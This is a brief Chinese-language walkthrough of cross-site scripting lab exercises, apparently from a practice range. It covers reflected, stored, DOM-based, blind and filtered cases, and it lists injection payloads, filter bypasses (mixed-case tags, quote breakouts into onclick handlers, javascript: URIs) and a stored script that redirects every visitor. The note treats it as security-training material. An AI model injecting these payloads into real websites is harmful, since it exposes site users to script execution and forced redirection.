反射型
修改maxlength长度限制
输入<script>alert(1)</script>
反射型post
查看提示登录后输入<script>alert(1)</script>
存储型
让其他人跳转到其他的网站,不可逆的攻击
<script>document.location="http://www.baidu.com"</script>
删除后恢复
DOM型XSS
输入#' οnclick="alert(1)">
DOM型XSS-X
先找到输入点判断闭合类型,
输入#' οnclick="alert(1)">
XSS之盲打
输入后不会在页面显示,也不会在页面前端代码里显示,猜测是发送到了后台
输入
<script>alert('1')</script>
根据提示输入密码
登录后成功弹窗
XSS之过滤
输入<script>alert('1')</script>发现被过滤了
<sCRiPT>alert(1)</ScriPT> 用大小写来弹窗
XSS之htmlspecialchars
输入666' "<>&,查看显示结果和页面代码,我们可以看到’”<>都进行了编码
使用单引号进行闭合q' οnclick=alert'(1)' 弹窗成功;
xss之href输出
输入 javascript:alert(111)
xss之js输出
输入111111发现,我们输进去得回先进行js语句的判断
输入 '</script><script>alert('1')</script> 成闭合并弹窗